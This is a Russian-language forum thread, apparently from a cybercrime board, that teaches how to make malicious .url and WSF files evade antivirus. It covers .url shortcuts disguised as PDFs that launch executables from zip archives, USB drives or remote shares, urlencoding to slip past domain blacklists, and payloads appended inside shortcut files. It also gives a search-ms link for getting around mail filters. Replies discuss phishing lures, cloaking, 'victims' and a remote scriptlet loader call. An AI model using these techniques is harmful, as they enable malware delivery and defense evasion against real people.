Вариант чистки EXE от динамических детектов - разнести весь его функционал по различным DLLкам, а в самом EXE оставить только управление этим функционалом и вызов необходимых функций из этих DLLок.
Это ставит в тупик эврестические анализаторы AV.
Например, приходит EXE на комп, запускается и разпаковывается в папке %TEMP% на несколько DLLок. EXE выполняет возложенную на него работу, последовательно вызывая всё что нужно из этих DLL.
Весь функционал рассосредоточен по этим DLLкам, каждая из них выполняет какую-то операцию, которую AV не считает опасной.
Но в сумме эти операции, которые сделают эти DLL совместно, однозначно бы вызвали реакцию AV.

Имеено для WSF файлов такой метод будет выглядеть вот так:

Код:
<job>
<script language="VBScript">
        testStringVromVB = "This "+ "is " + "a " + "test " + "string"
</script>

<script language="JScript">
         WScript.Echo(testStringVromVB);
</script>
</job>

Внутри тегов <job> мы разместили пакет из двух скриптов. Первый скрипт написан на VBScript, второй на JSCript.
Каждый из этих скриптов определяется тегами скрипт, так же как и в обычной HTML разметке. Параметром language указывается язык скрипта - JScript или VBScript.
У этих двух скриптов будут общие переменные и имена функций.
В данном примере мы определили переменную testStringFromVB. В ней мы сформировали тестовую строку средствами VBScript.
Эту переменная, сформированная в первом скрипте, будет доступна из второго скрипта, написанного на JScript. Во втором скрипте мы выводим эту переменную на экран средствами JScript.
Таким способом организуется межскриптовое взаимодействие внутри WSF файлов, распределение функционала между скриптами и размытие динамических сигнатур для AV.

URL-файлы​

Файлы с рамширением *.url являются стандартными файлами проводника windows, в которых он хранит ссылки на различные объекты.
Кроме ссылок web-страницы там можно прописать сылки на файлы, хранящиеся на локальном компе, unc пути к удалённой папке на серваке, файлы хранящиеся внутри zip архивов.
Такое разнообразие ссылок очень удобно для создания разных вариантов URL-файлов.

Простейший *.URL файл выглядит так:

Код:
[InternetShortcut]
URL=file://C:/WINDOWS/notepad.exe

При нажатии на данный файл в проводнике будет запущен блокнот из папки Windows.
Первой идёт строка [InternetShortcut], она открывает блок с описанием ссылки.
Главный параметр ссылки это переменная с именем "URL", в данном случае мы прописали так называемый файловый URL.
Он позволяет прописывать в виде ссылки путь к локальным файлам на компе.
Такая ссылка начинается со строки "file://" и дальше следует обычный полный путь до файла.
Префикс file перед путём к файлу можно писать как с двумя слешами "file://" так и стремя "file:///".
Первый вариант записи был в устаревшем формате URI, но поддерживается до сих пор.
И тот, и другой вариант записи будут одинаково правильными.

В отличие от предыдущих четырёх файловых форматов (JS, VBS, WSH, WSF) у *.URL файлов можно поставить любую иконку.
Например, иконка PDF ставится вот так:

Код:
[InternetShortcut]
URL=file://C:/WINDOWS/notepad.exe
IconIndex=10
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Теперь в проводнике URL файл после этого будет выглядеть так:

url_looks_like_pdf.png


В переменной IconFile мы прописываем путь к хранилищу иконок. Это либо DLL файл, либо EXE, в ресурсах которого база иконок.
В параметре IconIndex мы пишем порядковый номер иконки в этой базе (номер записи в секции .rsrc PE-файла).
Для PDF иконки, хранящейся в msedge.exe, этот индекс всегда будет равен 10.

Так же в URL файлах есть параметр HotKey, определюящий горячую клавишу или сочетание клавиш.
Если в проводнике будет открыта папка с URL файлом и внутри этого URL файла будет прописан хоткей, то тогда автоматически откроется ссылка, прописанная в URL файле.
URL файл с добавленным хоткеем на клавишу F1 будет выглядеть так:

Код:
[InternetShortcut]
URL=file://C:/WINDOWS/notepad.exe
IconIndex=10
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
HotKey=112

Вероятность того, что URL файл запустится через хоткей, конечно же, крайне небольшая.
Но это свойство можно использовать в качестве нестандартного автозапуска файлов.
В той же папке что и *.URL файл размещаем следующий VBS скрипт:

Код:
WScript.CreateObject("WScript.Shell").Run("explorer")
WScript.CreateObject("WScript.Shell").SendKeys("{F1}")

При запуске этого скрипта через метод иммитации нажатий кнопок на клавиатуре SendKeys будет нажата клавиша F1.
В то же время, эта клавиша прописана как хоткей в URL файле.
В результате этого запустится ссылка, прописанная в URL файле - в нашем случае это будет запуск блокнота.
Получается, что блокнот будет запущен от имени проводника Windows.
Такой метод можно использовать для организации нестандартного автозапуска.
Так же *.url файлы прекрасно стартуют будучи размещёнными в стандартой папке автозагрузки, что то же можно использовать как нестандартный метод автозапуска.

Подобно тому как проводник воспринимает zip архив как отдельную сжатую папку, URL файлы так же воспринимают zip архив как отдельный каталог.
Поэтому можно EXE спрятать внутри zip-архива и прописать путь в *.URL файле следующим образом:

Код:
[InternetShortcut]
URL=file://C:/URL_TEST/test.zip/putty.exe

При нажатии на данный URL файл в проводнике из zip-архива, находящегося по пути C:\URL_TEST\test.zip, будет извлечён и запущен файл putty.exe

Следующий пример запустит файл putty.exe из корневой папки текущего диска:

Код:
[InternetShortcut]
url="file:///./putty"

Это очень важный момент, позволяющий сделать связку из виртуального диска и URL файла.
Например, можно внутри VHD или ISO образа диска разместить EXE-файл и URL-файл, замаскированный под PDF.
Тогда при клике на URL-файл запустится EXE из корневой папки виртуального диска. При этом букву диска знать необязательно - она определится автоматически.
Так же это рабочий вариант для флешек и SD-карт - на них можно разместить EXE и URL файл в корневой папке.
Например такой вариант флешки: при открытии флешки видим несколько десятков PDF файлов. И папки, которые то же содержат кучу PDF файлов.
Но на самом деле это не PDF-документы, а URL-файл, замаскированный под PDF, и запускающий EXE из корневой папки флешки
Расширение файла то же можно не указывать, оно так же подставляется автоматически.
Отдельно стоит сказать о расширениях - можно использовать следующие варианты: putty.exe, putty.pif, putty.com, putty.cmd, putty.bat
Во всех этих случаях файл запустится как EXE - даже в случае расширений *.cmd или *.bat
Расширение *.com хорошо тем, что исполняемый файл можно замаскировать под ссылку с вот таким, например, именем файла: www.microsoft.com
Расширение *.pif хорошо тем, что оно отображается в проводнике не как приложение, а как ярлык. Исчезает иконка приложения и слово "Приложение" из описания файла.

Вместо локальных файловых путей можно так же прописывать пути в UNC формате.
Это даёт возможность запуска EXE из удалённой папки, расположенной на дедике.
Выглядит этот URL файл так:

Код:
[InternetShortcut]
URL=file://X.X.X.X/shared_folder/putty.exe

Здесь X.X.X.X это IP-адрес дедика с расшаренной сетевой папкой.
Так же работает и запуск EXE файла из архива, размещённого в удалённой папке на дедике:

Код:
[InternetShortcut]
URL=file://X.X.X.X/shared_folder/test.zip/putty.exe

У exe файлов можно не указывать расширение, сработает и такая адресная строка: "file:///C:/WINDOWS/calc". Расширение exe добавится автоматически.
Но при указании файла, находящегося внтури архива, расширение файла нужно указывать обязательно.
Начиная с Windows 10 работает и прямое указание пути к файлу, без метки протокола "file://", эта метка добавляется к файловым путям на локальных дисках автоматически:

Код:
[InternetShortcut]
URL=C:\WINDOWS\SYSTEM32\calc

Строка, хранящаяся в переменной "URL", является браузерной адресной строкой. Это означает, что мы можем использовать кодирование urlencode
Каждый символ из адресной строки мы можем записать в виде шестнадцатеричного числа, написав символ процента перед этим числом.
Например, символ "1" будет в этом случае записан как %31, а символ %A будет записан как %41
Тогда путь к калькулятору можно записать таким способом:

Код:
[InternetShortcut]
url=file:///c:%2F%57%49%4e%44%4f%57%53%2F%53%59%53%54%45%4d%33%32%2f%63%61%6c%63

Важный момент: первые два символа пути нельзя кодировать в urlencode. Буква диска "C" и следующее за ней двоеточие должны остаться некодированным, иначе проводник при открытии *.url файла выдаст ошибку.
Второй важный момент: для применения кодирования urlencode к путям перед путём должна стоять метка протокола "file:///".
Такой способ кодирования в *.url файлах помогает маскировать пути и ссылки, и очень хорошо помогает при чистке.
Часто бывает такое, что сам URL файл не палится, но палится домен, указанный внутри файла. Например, он попал в блеклисты.
И если в этом случае закодировать домен через urlencode то детект слетает - AV часто просто сравнивают домены в блеклистах построчно, не обращая внимание на то, что домен может быть закодирован в urlencode.

Существует быстрый и удобный способ кодирования ссылок и имен файлов в urlencode, сделать который можно через Far Manager.
Создаём текстовый файл и пишем туда ссылку или путь. Открываем просмотре файла в Far Manager, нажав F3.
Далее переключаемся в hex-режим нажав F4. И после этого переходим в режим выделения блоков текста, нажав Alt-Insert.
После этого будет можно выделять шестнадцатеричное представление строки, нажимая клавиши Shift-Стрелки.

file_manager_link_to_hex.png


Параметр ShowCommand в URL файлах задаёт формат окна, в котором запустится файл. Например, параметр ShowCommand=7 означает что файл запустится в свёрнутом окне.
URL-файл, который запустит блокнот в свёрнутом окне, будет выглядеть так:

Код:
[InternetShortcut]
url=file:///C:/WINDOWS/notepad.exe
ShowCommand=7

Символы из которых состоят переменные и их значения в URL-файлах нечуствительны к регистру - имена переменных и их значений можно морфить, меняя регистр отдельных букв.
Между лексемами можно ставить произвольное количество пробельных символов - символов пробела и табуляции.

Код:
    [        IntErnEtShoRtCut                     ]
URL=file:///c:/WINDOWS/SYSTEM32/%63%61lc

В качестве пробельных символов здесь так же можно использовать любые байты из диапазона [1..0x20] и [0x80..0xFF]
Такие пробельные символы можно использовать как внутри имён секций, так и внутри объявления переменных.
Коментариями в URL файлах считаются все строки, начинающиеся с символа точки с запятой - ";".
Внутри комментариев можно использовать те же пробельные символы, что и внтури имён секций и внутри имён переменных:
Так же можно прописывать переменные со случайным образом сгенерированным именем и присвоением им рандомной строки:

Код:
    [        IntErnEtShoRtCut                     ]
Gargbage_Gargbage_Gargbage_Gargbage = Random_Value_Random_Value_Random_Value_Random_Value_Random_Value_Random_Value_Random_Value_
URL=file:///c:/WINDOWS/SYSTEM32/%63%61lc
GarbageGarbageGarbage      =            Garbage_Garbage_Garbage_Garbage_Garbage_Garbage_Garbage_

Для имён переменных работает тот же диапазон допустимых символов, а это означает что можно создать имя переменной и её значение полностью из нетекстовых символов:

url_variable_non_text_characters.png


Максимальная длина переменной и максимальная длина значения равняется 8192 символам для WIndows 10. Данный параметр отличается от системе к системе, например в Windows 7 он меньше в 2 раза.
Так же работает метод добавления нулевого байта в конец скрипта - тот же метод, что использовался для JS/VBS/WSH/WSH файлов.
В конец URL-файла добавляем нулевой байт, и через команду бинарного копирования "copy/b stub.url+putty.exe result.url" мы можем скопировать EXE/DLL пейлоад внутрь URL файла.

url_file_zero_byte.png


В конечено итоге заморфленный URL файл будет выглядеть примерно вот так:

morphed_url_file_outview.png


Совсем не напоминает какой-то текстовый файл со скриптом.
Тем не менее всё это остаётся работоспособным - при нажатии на такой файл запустится калькулятор, в проводнике этот url файл будет виден как pdf, внутри *.URL файла сохранена копия файла putty.exe

Отдельно стоит отметить использование URI схем в *.url файлах.
Внутри виндовс существует несколько десятков схем URI, позволяющих запустить какую-либо программу и передать ей параметры.
Например схема mailto, которая откроет в аутлуке заренее подготовленное письмо.
Набираем в командной строке следующее:

Код:
explorer "mailto:email_from@testmail.com?subject=This is a test subject&body=This is a test email"

Получаем следующее:

mailto_uri_scheme_example.png


Зелёным цветом обведена команда, вызванная из консоли виндовс. Здесь мы видим предваритеьно скомпонованное письмо в открывшемся аутлуке.
Указываем эту ссылку с mailto внутри *.url файла и получаем тот же самый эффект:

Код:
[internetshortcut]
url=mailto:email_from@testmail.com?subject=This is a test subject&body=This is a test email

Внутри *.url файла кавычки в начале и в конце url можно не указывать. Кавычки нужны при вызове url-схемы из командной строки, чтобы заэкранировать пробелы и служебные символы.
В URL схемах существуют различные уязвимости, например уже на данный момент широко известная уязвимость в URL-схеме "search-ms:".
Суть этой уязвиости заключается в том, что при нажатии на ссылку мы можем открыть расшаренную удалённую папку с сервака.
Вот пример такой ссылки:

Код:
search-ms:query=p&crumb=location:\\X.X.X.X\webdav\&displayname=This%20is%20a%20search%20scheme%20name

В этой ссылке строка query=p означает, что поиск будет по файлам начинающимся с буквы "p" и такие найденные файлы будут отображаться в выдаче.
В параметре location указываем IP-адрес нашего сервера и путь к расшаренной папке на нём.
Параметр displayname позволяет задать для поиска отдельное имя, которое будет отображаться в адресной строке. Используется для маскировки и отвлечения внимания.
Если пишем текст, содержащий недопустимые в URI символы, то указываем эти символы через знак процента и их шестнадцатеричный ASCII код. Например символ пробела пишем как %20.
Вводим эту ссылку в адресной строке хрома, хром выдаст следующее сообщение с предложением открыть эту ссылку в проводнике:

search_ms_link_in_chrome.png


Разрешив открыть эту ссыку в проводнике видим следующее:

search_ms_opened_in_explorer.png


Откроется расшаренная папка, в которой размещён наш пейлоад. При нажатии на него в проводнике он запустится.
В данный момент такие ссылки с search-ms блокируются большинством почтовых серверов.
И здесь будет приведён способ, как такую блокировку обойти с помощью *.url файла.
Делаем *.url файл с таким содержимым:

Код:
[internetshortcut]
url = search-ms:query=p&crumb=location:\\X.X.X.X\webdav\&displayname=This%20is%20a%20search%20scheme%20name

Вместо X.X.X.X указываем IP-адрес своего сервера с расшаренной папкой, и указываем свой путь к расшаренной папке.
Почтовые сервера ищут ссылку с search-ms только внутри тела письма, но не внутри приаттаченных файлов, в приатаченном url-файле ссылка прекрасно проходит.
 

Вложения

  • warning_may_be_av_detection_password_is_12345.zip
    657.3 КБ · Просмотры: 53
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
вот тема интересная но оформление текста и его разделения такое что читать неудобно, хотя бы подразделы сделал где про JS где под URL и т.д
 
А есть формат для аттача письма, что б походил на документ и при нажатии на который, к примеру открывался какой то сайт?

Есть, это lnk и url. В обоих этих форматах можно задать иконку и сделать так, чтобы они выглядели в проводнике как pdf или doc.
Обычно lnk и url файлы прячут в zip архив, потому что без него их порежет антиспам. Архив выступает типа как защитная оболочка от антиспама.
На zip архив ещё ставят пароль, а сам пароль указывают в теле письма-разводки, чтобы пользователь мог открыть архив. Так защищают файлы от антиспама.
Главная сложность в этом вопросе это антиспам обойти. После каждой крупной рассылки нужно придумывать новое решение, так как старое после этого сразу же перестаёт работать.
 
Есть, это lnk и url. В обоих этих форматах можно задать иконку и сделать так, чтобы они выглядели в проводнике как pdf или doc.
Обычно lnk и url файлы прячут в zip архив, потому что без него их порежет антиспам. Архив выступает типа как защитная оболочка от антиспама.
На zip архив ещё ставят пароль, а сам пароль указывают в теле письма-разводки, чтобы пользователь мог открыть архив. Так защищают файлы от антиспама.
Главная сложность в этом вопросе это антиспам обойти. После каждой крупной рассылки нужно придумывать новое решение, так как старое после этого сразу же перестаёт работать.

Да как раз с антиспамом проблем вообще нет, в моем случае. А вот что бы получатель захотел открыть файл уже проблематично. С любыми разводками где ему нужно еще куда то тыкать мышкой или что то устанавливать, не прокатывает, сразу пишет что файл не открывается и не знает как открыть
 
Вот этот способ качается в браузер хром и едж без каких либо алертов и запускается в обход смартскрина. На заметочку.
я, наверное, сейчас задам максимально тупой вопрос тут), но во что мне это завернуть что б отправить в письме этот код?

<component>
<script language="VBScript">

Set shell=CreateObject("wscript.shell")
Shell.Run("calc.exe")

</script>
</component>
и будет не будет ли этот код блокироваться при размещении нагрузки на сервере?
 
В письме вложением не пройдет, забудь. Нужно отправлять ссылку и через тдс (что бы отбить ботов аналитики и т.д.) по ссылке выдавать .js файл для скачивания в браузере.

Отправлять нужно не тот код что ты указал а этот GetObject("script:[URL]https://git.com/e/f8e/raw/59e20204/r.sct[/URL]");
ну я этот и имел в виду. Сейчас шлю через пдф и с него через клоаку жертва получает зип с нагрузкой. Но все они в итоге пишут обратно что пдф файл поврежден и они не могут его прочитать. поэтому ищу максимально простое по запуску, что бы каждому не приходилось объяснять куда тыкать мышкой
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх